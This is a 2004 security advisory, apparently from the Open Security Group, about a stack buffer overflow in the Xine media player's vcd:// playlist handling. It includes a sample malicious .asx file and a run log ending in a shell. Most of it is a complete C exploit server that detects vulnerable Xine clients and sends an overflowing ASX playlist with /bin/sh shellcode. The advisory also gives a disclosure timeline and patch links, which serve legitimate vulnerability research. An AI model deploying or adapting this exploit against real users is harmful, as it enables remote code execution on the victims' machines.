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Xines_Mine.c Open Security Group Advisory
From: <c0ntex () open-security org>
Date: 17 Aug 2004 16:42:25 -0000



 /*
  *****************************************************************************************************************
  $ An open security advisory #6 - Xine vcd MRL input identifier management overflow
*****************************************************************************************************************
  1: Bug Researcher: c0ntex[at]open-security.org
  2: Bug Released: August 08th 2004
  3: Bug Impact Rate: Medium / Hi
  4: Bug Scope Rate: Remote / Local
  *****************************************************************************************************************
  $ This advisory and/or proof of concept code must not be used for commercial gain.
*****************************************************************************************************************

   Xine - A free video player
   http://xinehq.de

   "xine is a free multimedia player. It plays back CDs, DVDs, and VCDs. It also decodes multimedia files like AVI, 
MOV, WMV, and MP3 from
   local disk drives, and displays multimedia streamed over the Internet. It interprets many of the most common 
multimedia formats available
   - and some of the most uncommon formats, too."

   Part 2 in the Media Mayhem saga, a name that was decided as being aptly fitting for the "Media Player" security 
audit project that the Open
   Security Group website started at the end of May. This project continues finding remote exploits in popular media 
players for Windows and
   Linux / UNIX derived systems.

   Like the excellent Mplayer, Xine is a superb free media player for Linux. Sadly there is a generic stack based 
buffer overflow in all versions
   of Xine-lib, including Xine-lib-rc5 that allows for local and remote malicious code execution.

   By overflowing the vcd:// input source identifier buffer, it is possible to modify the instruction pointer with a 
value that a malicious attacker
   can control. The issue can be replicated in a remote context by embedding the input source idientifier within a 
playlist file, such as an asx.
   When a user plays the file, this stack overflow will occur, exploit code can then be executed with the rights of the 
user running Xine.

   The problem slightly increases due to a usability feature. It does not have to be an asx extension for exploitation 
to succeed as Xine will try
   to be clever and play any media type found, providing it's valid. This still means the attack vector MUST include 
the .asx input identifier but
   it means you can not even trust URL's for .mp3, .mpeg, .mpg or .avi media. As long as Xine finds a valid media 
header, it's happy to change
   the demuxer reference and play the found media. In this case it's a playlist file, ".asx",  though others should 
work.

   Any of the following demuxors will work when running against the attached POC server:

           xine --no-splash http://sunscreen/opensecurity.asx
           xine --no-splash http://sunscreen/opensecurity.mp3
           xine --no-splash http://sunscreen/opensecurity.mpg
           xine --no-splash http://sunscreen/opensecurity.mpeg
           xine --no-splash http://sunscreen/opensecurity.wma
           xine --no-splash http://sunscreen/opensecurity.avi
           xine --no-splash http://sunscreen/blah.blah
           xine --no-splash http://sunscreen/

   There are some tricks that may have to be pulled to allow for successful code execution to work, primarily due to 
some memory corruption
   that happens and opcode destruction. However it is easily defeated by either jmp'ing over the corrupt few bytes or 
by placing the shellcode
   into the buffer at some known good location.

   An example malicious .asx file:

   sunscreen$ cat open-security.asx
   <asx version = "3.0">
   <title>Open Security Media Archive</title>
   <author>Brought to you by c0ntex[at]open-security.org</author>
        <abstract>
         SongList:
         Track 1 - Open Security Rock(s) -> SOAD  - Chop Suey
         Track 2 - Open Security Rock(s) -> Media Mayhem Militia
        </abstract>
                <entry>
                <title>System Of A Down - Chop Suey</title>
                <author>c0ntex[at]open-security.org</author>
                <copyright>©2004</copyright>
                <Ref href = "http://sunscreen/SOAD-ChopSuey.mp3"/>
                </entry>
                <entry>
                <title>All your media are belong to us!</title>
                <author>c0ntex[at]open-security.org</author>
                <copyright>©2004</copyright>
                <Ref href = "vcd://                                                 
                                                                              
                                                                                
                                                                               
                                                                               
                                                                       ????> "/>
                </entry>
   </asx>
   sunscreen$ 

   ---

   Example POC run:

   sunscreen$ gcc -o xinesmine xinesmine.c -lsocket -lnsl
   sunscreen$ ./xinesmine -a 0 -p 80
 
      **  Xines_Mine - Remote proof of concept example  **
 
   [-] Uses .asx header reference to make Xine think it has valid
   [-] reference file, then a crafted package is sent to overflow
   [-] the vulnerable client && prove remote exploit concept.
   [-] c0ntex[at]open-security.org {} http://www.open-security.org
 
    -> Listening for a connection on port 80


   [c0ntex () exploited xine]$ ./xine --no-splash http://sunscreen/opensecurity.asx
   This is xine (X11 gui) - a free video player v0.99.2.
   (c) 2000-2004 The xine Team.
   Playlist file (http://sunscreen/opensecurity.asx) is invalid.
   WARN: could not retrieve file info for `image.nrg': No such file or directory
   WARN: init failed
   WARN: open(



                                                                    1?Ph//shh/bin??PS??1¿':
   File name too long
   WARN: could not retrieve file info for `




                                                                    1?Ph//shh/bin??PS??1¿':
   File name too long
   WARN: init failed
   bash-2.05$ 


   Due to the many vulnerabilities being discovered in media players it is advised not to play any form of music 
without first verifying its
   integrity. It would be worth noting that P2P networks that are currently sharing music, videos and films tend to be 
illegal media and as
   such void any integrity anyway, I advise highly to stay clear from IRC and P2P warez.

   ---
    
   CVS log which details the bug perfectly can be found here:

                        -> http://sourceforge.net/mailarchive/forum.php?thread_id=5143955&forum_id=11923


   Get the latest CVS of Xine-lib from here:

                        -> http://xinehq.de/index.php/releases


   Get the Xine (XSA) advisory from here:

                        -> http://xinehq.de/index.php/security


   Get this original advisory from here:

                        -> http://www.open-security.org/advisories/advisories.html

  ---
 
  Xine bug discovered 22nd May 2004
  Xine bug research completed 24th May 2004
  Xine developers contacted 11th July 2004
  Xine bug public release 8th August 2004
 

  cheers
  c0ntex[at]open-security.org
  http://www.open-security.org

 */



#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

#ifdef linux
 #include <getopt.h>
#endif


#define SUCCESS 0
#define FAILURE 1

#define BUFFER  1044
#define CDATA   150
#define JMP     200

#define THREAT  "xine/1-rc5"
#define XPLOIT_OS Redhat9


#define example(OhNoo)  fprintf(stderr, "Usage: ./xines_mine -a <align_val> -p <port>\n\n", OhNoo);


void die(char * errtrap);
void banner(void);
int prepsock(int align_stack, int port);
int pkg_send(int clisock_fd, int align_stack, char * pload, char * payload);
int main(int argc, char ** argv); 


static char * http[] = {
        "HTTP/1.0 200 OK\r\n",
        "Date: Thu, 23 May 2004 12:52:15 GMT\r\n",
        "Server: Xines_Mine Server(Linux)\r\n",
        "MIME-version: 1.0\r\n",
        "Content-Type: audio/x-mpegurl\r\n",
        "Content-Length: 2000\r\n",
        "Connection: close\r\n",
        "\r\n"
};
 

static char * vcdmuxor[] = {
        "<ASX version = \"3.0\">\r\n",
        "<TITLE>Xines_Mine</TITLE>\r\n",
        "<AUTHOR> c0ntex[at]open-security.org www.open-security.org</AUTHOR>\r\n",
        "<ENTRY>\r\n",
        "<ref href=\"vcd://",
        "\"/>\r\n",
        "</ENTRY>\r\n",
        "</ASX>\r\n",
        "\r\n"
};

 
static char opcode[] =  "\x31\xc0\x31\xdb\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
                                 "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd"
                                 "\x80\x31\xc0\x31\xdb\xfe\xc0\xcd\x80";


void
die(char * errtrap)
{
        perror(errtrap);
        _exit(FAILURE);
        //exit(1);
}
 

void
banner(void)
{
        fprintf(stderr, "\n   **  Xines_Mine - Remote proof of concept example  **\n\n");
        fprintf(stderr, "[-] Uses .asx header reference to make Xine think it has valid\n");
        fprintf(stderr, "[-] reference file, then a crafted package is sent to overflow\n");
        fprintf(stderr, "[-] the vulnerable client && prove remote exploit concept.\n");
        fprintf(stderr, "[-] c0ntex[at]open-security.org {} http://www.open-security.org  \n\n");
}
 
 
int
prepsock(int align_stack, int port)
{
      unsigned int cl_buf, recv_chk, reuse = 1;
      unsigned int clisock_fd;

      signed int sock_fd;

      static char chk_vuln[CDATA];
      static char payload[BUFFER];

      struct sockaddr_in victimised, xine;

      char *pload = (char *) &opcode;


      ((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
      ? die("Could not create socket")
      : (setsockopt(sock_fd,SOL_SOCKET,SO_REUSEADDR, &reuse, sizeof(int)) == -1)
            ? die("Could not re-use socket")
                : memset(&xine, 0, sizeof(xine));
 
      xine.sin_family = AF_INET;
      xine.sin_port = htons(port);
      xine.sin_addr.s_addr = htonl(INADDR_ANY);
 
      if(bind(sock_fd, (struct sockaddr *)&xine, sizeof(struct sockaddr)) == -1) {
        close(sock_fd); die("Could not bind socket");
      }
 
      if(listen(sock_fd, 0) == -1) {
              close(sock_fd); die("Could not listen on socket");
      }
 

      printf(" -> Listening for a connection on port %d\n", port);
 

      cl_buf = sizeof(victimised);
      clisock_fd = accept(sock_fd, (struct sockaddr *)&victimised, &cl_buf);

      if(!clisock_fd) {
        die("Could not accept connection\n");
      }

      if(!close(sock_fd)) {
        fprintf(stderr, "Could not close socket\n");
      }


      fprintf(stderr, " -> Action: Attaching from host [%s]\n", inet_ntoa(victimised.sin_addr));
      fprintf(stderr, " -> Using align [%d] and port [%d]\n", align_stack, port);
 

      //memset(chk_vuln, 0, CDATA);
      memset(chk_vuln, 0, sizeof(chk_vuln));
 
      recv_chk = recv(clisock_fd, chk_vuln, sizeof(chk_vuln), 0);
      chk_vuln[recv_chk+1] = '\0';
 
      if((recv_chk == -1) || (recv_chk == 0)) {
              fprintf(stderr, "Could not receive data from client\n");
      }
 
      if(strstr(chk_vuln, THREAT)) {
              fprintf(stderr, " -> Detected vulnerable Xine version\n");
      }else{
              fprintf(stderr, " -> Detected a non-Xine connection, end.\n");
                  close(clisock_fd); die("Ending connection, not a Xine client\n");
      }

      if(pkg_send(clisock_fd, align_stack, pload, payload) == 1) {
              fprintf(stderr, "Could not send package\n");
              close(clisock_fd); die("Could not send package!\n");
      }

      if(close(clisock_fd) != 0) {
                fprintf(stderr, "Could not close socket\n");
        }

      return clisock_fd;
      //return SUCCESS;
}
 
 
int
pkg_send(int clisock_fd, int align_stack, char * pload, char * payload)
{
        unsigned int i = 0;
 
        memset(payload, 0, BUFFER);
 
        for(i = (BUFFER - JMP + align_stack); i < BUFFER; i += 4) {
               payload[i] = 0xbc;
               payload[i+1] = 0xe7;
               payload[i+2] = 0x7f; 
               payload[i+3] = 0xbf;
        }

        for (i = 0; i < (BUFFER - 33 - 20); i += 2) {//7 ) {
                payload[i] = 0x4d;
                payload[i+1] = 0x45;
                //payload[i+1] = 0x63;
                //payload[i+1] = 0x30;
                //payload[i+1] = 0x6e;
                //payload[i+1] = 0x74;
                //payload[i+1] = 0x65;
                //payload[i+1] = 0x78;
                //payload[i+1] = 0x90;
        }

        memcpy(payload + i, pload, strlen(pload));

        payload[1045] = 0x00;


        fprintf(stderr, " -> Payload size to send is [%4d]\n", strlen(payload));
        fprintf(stderr, " -> Sending evil payload to our client\n");    fflush(stderr);


        for (i = 0; i < 8; i++)
                if(send(clisock_fd, http[i], strlen(http[i]), 0) == -1) {
                        close(clisock_fd); die("Could not send HTTP header");
                }fprintf(stderr, "\t- Sending valid HTTP header..\n"); sleep(1);

        for (i = 0; i < 5; i++)
                if(send(clisock_fd, vcdmuxor[i], strlen(vcdmuxor[i]), 0) == -1) {
                        close(clisock_fd); die("Could not send asx header");
                }fprintf(stderr, "\t- Sending starter asx header..\n"); sleep(1);

        if(send(clisock_fd, payload, strlen(payload), 0) == -1) {
                close(clisock_fd); die("Could not send payload");
        }fprintf(stderr, "\t- Sending payload package..\n"); sleep(1);
 
        for (i = 5; i < 9; i++)
                if(send(clisock_fd, vcdmuxor[i], strlen(vcdmuxor[i]), 0) == -1) {
                        close(clisock_fd); die("Could not send asx header");
                }fprintf(stderr, "\t- Sending cleanup asx header..\n");

        return EXIT_SUCCESS;
}
 
 
int
main(int argc, char ** argv)
{
        unsigned int align_stack = 0, port = 80;
        unsigned int opts;
 
        static char * exploit = NULL;

        if(argc < 2) {
                goto jumpout;
        }banner();
 
 
        while((opts = getopt(argc, argv, "a:p:")) != -1) {
                switch(opts)
                        {
                        case 'a':
                                align_stack = atoi(optarg);
                                if((align_stack < 0) || (align_stack > 3)) {
                                        goto jumpout;
                                }
                                break;
                        case 'p':
                                port = atoi(optarg);
                                if((port < 0) || (port > 65535)) {
                                        goto jumpout;
                                } 
                                break;
                        default:
                                goto jumpout;
                                break;
                        }
        }
 
        if(prepsock(align_stack, port) == -1) {
                fprintf(stderr, "Error\n");
                _exit(FAILURE);
        } fprintf(stderr, " -> Test complete\n\n");

        return EXIT_SUCCESS;

        jumpout:
                banner();
                example(exploit);
                return EXIT_FAILURE;
}



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